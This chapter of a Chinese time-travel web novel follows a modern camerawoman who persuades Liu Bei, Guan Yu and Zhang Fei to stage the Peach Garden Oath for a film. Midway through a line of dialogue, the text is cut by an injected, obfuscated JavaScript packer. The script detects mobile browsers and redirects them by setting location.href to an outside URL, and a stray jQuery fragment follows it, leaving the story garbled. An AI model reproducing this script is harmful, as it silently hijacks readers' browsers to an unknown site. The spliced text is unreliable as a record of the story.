集市摊位不是个讲戏的地方,张飞便邀请李诗筠去自己家里坐坐。
三人提前收摊,离开集市往城南走去,张飞的庄子因要养猪屠宰,所以远离人多的地方,走过去也花了不少时间。
庄子规模看着还挺大,刚走进去就有小童仆役过来听从差遣,张飞让去取些酒水和肉过来,要招待客人。
“不了不了,你们也知道,我吃不惯。”李诗筠一边说着从包里掏出泡面,犹豫了一下,怕这充满科技的香味把他们馋死,只好又收起来,等拍完今天的工作量再吃吧。
“尊驾,请说吧。”张飞作为庄子的主人率先开口。
李诗筠笑了笑反问:“你以前还叫我姐姐呢,怎么这么客气了。再过几年,你年纪比我大了,想叫姐姐都不行了。”
张飞失笑,说:“我仔细想来,你既是后世之人,叫你姐姐岂不是被占了大便宜。而尊驾之称,是因你职务,算不得反了辈分。”
“唉。”李诗筠感叹道,“孩子们长大了呀。”
玩笑归玩笑,还有工作要完成。
结义之事不能直接要求,只能引导。
>“你就说黄巾军乱天下,各地很快就要募兵讨贼,你们可有什么想法?”
李诗筠照着问,见三人都感叹沉思。
刘备神色严肃,说如今黄巾猖獗,各州郡形势危急,可地方官吏仍旧想着多搜刮些钱财,黄巾来了便卷钱跑路,根本没想过当地百姓,半点都靠不住。他想要自己募一支队伍,便宜行事,不受拖累。
“我也正有此意!”张飞立刻应声。
关羽也点头加入,说:“好,我们三人既能一起出摊,也能一起出战,共同募兵剿灭黄巾,建功立业!我等今后便是生死弟兄,不求同年同月同日生,但求同年同月同日死!”
这事就如此简单地定了下来。
李诗筠扛着摄像机噎了一会儿,说:“我没别的意思啊,就是,会不会太轻率了?谁出钱?谁做领头的?只口头上称兄弟,没个结拜仪式吗?”
张飞不解,说:“自然是共同出资,出多出少无所谓,都是为了救国呀。至于谁做领头,到了战场上看谁都杀的多便是。”
李诗筠无奈盯着刘备问:“你中山靖王之后的身份不亮出来吗?”
“……”刘备深吸一口气,很是无奈地挠着哮天犬的脑门。
实不相瞒,他因为多次被采访的事,导致,很自卑。随着年龄增长,却仍旧不被器重,无一番事业,他更觉得一次次的采访像是一场捧杀。他曾经也觉得自己身为皇室后裔汉室宗亲,又有着名列前茅的采访次数,将来必定成大器。
然而越是牵挂着,越是不如意,越是不自信。
好在他求学回来就想明白了:英雄造时势,也需时势造英雄。一件事情若尚未开始就想着成功的结果,必定是做不成的。唯有脚踏实地,一步步走到成功之日,才可回头诉说自己的初心。
刘备解释说:“家道中落,便说出去也只以为我攀亲附贵自己编排的身世。我是待将来能闯出一番天地时,再以此告慰先人之灵。”
他是看得开了,李诗筠和耳机里的指导团们看不开了。
>“不行!这个桃园结义太潦草了!出于艺术考量,这场戏份刘备必须哭。”导演认真地安排着。
>“咱们这项目不是实地拍摄吗,就该以正史为准呀。刘备就是喜怒不形于色的,这里没发生什么大事,没道理拍成哭戏。”一位历史教授反驳。
>“我觉得也可以哭,哭的原因不是感叹自己,而是为天下,凸显仁德!”
耳机里的剧组众人开会的时候,李诗筠也看了看系统的标记,系统倒是没要求哭不哭,只要求记录三人结义后共同募兵投军一事。
她琢磨着自己的宏大计划,既要真实,又要足够戏剧效果,还要足够低的观影门槛。
“那就拍两个版本吧!原班人马出演纪录片和电视剧,很正常的吧?”
刘关张三人满头雾水,没懂什么意思。
李诗筠解释说:“正如刘邦斩白蛇起义,斩白蛇一事是真,赤帝之子为戏剧编排。如果只是挡路一条蛇被砍死,没什么看头。如果白蛇又大有凶,一番缠斗,还雷电交加,是不是就很有看头?”
直呼刘邦姓名的行为让三人都是微皱眉头欲言又止。
刘备说:“此为太史公亲笔记载,岂会是编排?”
关羽点头,也不高兴地说:“虽是千年之后的小辈,也不该直呼高祖名讳。”
丈夫瞪着水汪汪的卡姿兰大眼睛,问了个谁也没想过的问题,黑脸略白,说:“你们那时候,还是大汉吗?”
“……”李诗筠噎住了,如果说是,自己直呼刘邦确实不合理。如果说不是,就代表着大汉亡了!万一他们直接摆烂,不去参加讨伐黄巾了怎么办。
耳机里果然又是沉默。
靠不住的专业人士啊!没事的时候指点江山很专业,一到关键时候还是得靠自己!
李诗筠脑筋如同小马达一般疯狂转动,说:“你为什么会觉得千年之后不是大汉呢?你觉得大汉要亡吗?”
在他们思考的时候,继续跑出问题,叹息一声说:“大汉要是亡了,那就是你们不够努力!反思,立刻反思!八字还没一撇呢,就觉得自己做不成大事了,就觉得大汉要亡了。我的天,你是汉贼吗?就开始唱衰大汉了。”
张飞黑脸一阵红一阵黑,羞愧得低下头不说话了,还真开始反思自己为什么问大汉会不会亡的问题,如今大汉,就是等着栋梁们拯救呀!
张飞紧紧握拳,抬头说:“是我的错,你吩咐吧,要怎么拍?”
刘备和关羽还在琢磨,希望李诗筠能说得详细一点。
以及,刘备再三申明:“高祖就是赤帝之子,绝非
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305969|167211||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杜撰!”
“好的。”李诗筠点头,只要答应拍摄,怎么都行。
简单给三人讲了讲戏,大概就是募兵的告示发下来,三人在告示下相遇,各自都有报国之心,在一番误会后,来到张飞家里喝酒。微醺的刘备泪眼汪汪,讲了一个中山靖王之后落魄得报国无门的故事,然后二人了解情况,深感敬佩,约定好一起报国,且结为兄弟,桃园结义。
因为已经在张飞家,所以先拍三人的文戏和结义戏份,等布告栏贴了告示再补拍相遇。
对于这个剧情,三人各有意见。
关羽说:“我等早就认识,少说也有一年半载,为何要安排成陌生人?”
张飞说:“我们认识的时候没有误会,大家都是直爽汉子,又有报国之心,哪来的误会。”
刘备则说:“我不拍哭戏。”
>“你就跟他讨论仁义,拍这个戏份是表达正面形象。不是抹黑他爱哭。”
耳机里只给了一个劝说方向,而说这些话肯定是没用任何作用的。这个年龄段的刘备还带着几分年少时的任侠气,用仁义是绑架不了他的,还会回一句:难道不哭就不仁义了吗?
所以,非常人,要行非常事。
幸好李诗筠手里拍了很多小时候的事情。
她笑了笑,笑得格外友好灿烂,她低头轻轻挠了挠眉头的痣,靠近刘备小声说:“你也不想我把你小时候说要当皇帝的视频,给你的两位挚友看吧?”
不管后来如何,此时此刻的关羽和张飞肯定是还没到会支持刘备称帝的地步。
刘备脸上一阵红一阵白,没想到会被本该是最最中立的拍摄者背刺,他震惊且无奈,小声反驳说,“童言无忌,如何算数?我只有救汉之心,绝无如此忤逆。”
他又想起一事,说:“你当年曾说,拍摄内容只有后世之人才能看。”
“对啊,只有后世之人能看,那我把画面投屏到墙上,不就能一起看了吗?”李诗筠继续笑着,格外得意地介绍自己的缺德行为,“就是那个曹操你知道的吧,当初他结婚的时候我还去凑热闹了呢,给他婚礼上投屏了小时候装瘫痪的视频,后来想采访他可太难了,都躲着我了。”
“……”刘备深吸一口气,看着李诗筠一脸缺德拿捏别人把柄的小人模样,欲言又止,从小时候就真的很想问了,后世就没有其他的人才了吗,怎么会选这么一个满是荒唐的人来担任重要岗位。
“想清楚了吗?这片子拍吗?”李诗筠眨眨眼提醒。
刘备无奈,说:“拍,我拍便是了。”
既然要再拍一版大众认知中的桃园结义,那么几人的形象自然也要修改。没有人能接受两撇八字胡的关羽,也没有人能接受下巴光秃秃还没长胡子的张飞。
“开拍前需要给你们化个妆。”李诗筠一手按住耳机,说,“妆造组就位,我带三个演员过来化妆。”